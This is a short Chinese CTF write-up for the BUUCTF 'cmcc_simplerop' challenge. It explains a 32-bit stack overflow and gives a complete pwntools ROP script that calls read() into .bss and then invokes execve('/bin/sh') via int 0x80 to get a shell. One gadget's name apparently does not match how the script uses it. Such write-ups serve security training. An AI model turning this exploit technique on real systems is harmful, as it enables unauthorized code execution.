首页 > 其他 > 详细

BUUCTF:cmcc_simplerop

时间:2021-09-05 23:21:46      阅读:8      评论:0      收藏:0      [点我收藏+]

简单粗暴,就是让你栈溢出,但这道题没有sys,需要自己构造,需要自己找大量的汇编代码,来进行系统调用。

其实就是控制eax=11 ebx=‘binsh’  ecx=0 edx =0

其实binsh  在该程序中没有,需要我们自行输入,我们可以调用read函数来往bss段上输入一个字符串

from pwn import *
p = remote("node4.buuoj.cn",26378)

read = 0x0806cd50
int_80 = 0x080493e1
pop_eax_ret = 0x080bae06
pop_edx_ecx_eax_ret = 0x0806e850
bss_addr = 0x080eb584

payload = "a" * 0x20 + p32(read)
payload += p32(pop_edx_ecx_eax_ret)			
payload += p32(0) + p32(bss_addr) + p32(8)	 
payload += p32(pop_eax_ret) + p32(0x0b)		
payload += p32(pop_edx_ecx_eax_ret) + p32(0) + p32(0) + p32(bss_addr)
payload += p32(int_80)

p.sendlineafter(":", payload)
p.sendline("/bin/sh\x00")

p.interactive()

 继续练习的同时也要打捞汇编基础

BUUCTF:cmcc_simplerop

原文:https://www.cnblogs.com/binaryran/p/15225587.html

(0)
(0)
   
举报
评论 一句话评论(0
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!